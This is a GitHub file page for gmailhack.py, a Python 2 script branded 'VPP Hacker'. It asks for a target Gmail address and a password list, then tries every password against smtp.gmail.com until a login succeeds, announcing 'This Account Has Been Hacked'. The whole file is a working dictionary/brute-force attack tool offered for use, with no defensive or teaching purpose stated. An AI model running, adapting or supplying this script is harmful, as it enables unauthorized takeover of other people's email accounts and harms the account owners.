forked from kodevishal/GmailHack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgmailhack.py
More file actions
55 lines (51 loc) · 1.61 KB
/
gmailhack.py
File metadata and controls
55 lines (51 loc) · 1.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python
'''create by VPP Hacker'''
import smtplib
from os import system
def main():
print """
____ _ _ _ _ _
/ ___|_ __ ___ __ _(_) | | | | __ _ ___| | __
| | _| '_ ` _ \ / _` | | | |_| |/ _` |/ __| |/ /
| |_| | | | | | | (_| | | | _ | (_| | (__| <
\____|_| |_| |_|\__,_|_|_|_| |_|\__,_|\___|_|\_\ """
print '================================================='
print ' coded by VPP Hacker '
print ' Subscribe Our YouTube Channel '
print '================================================='
main()
print '[1] start the attack'
print '[2] exit'
option = input('Enter Option =>')
if option == 1:
file_path = raw_input('Enter Password list :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^_^'
break
else:
print '[!] password not found => ' + password
login()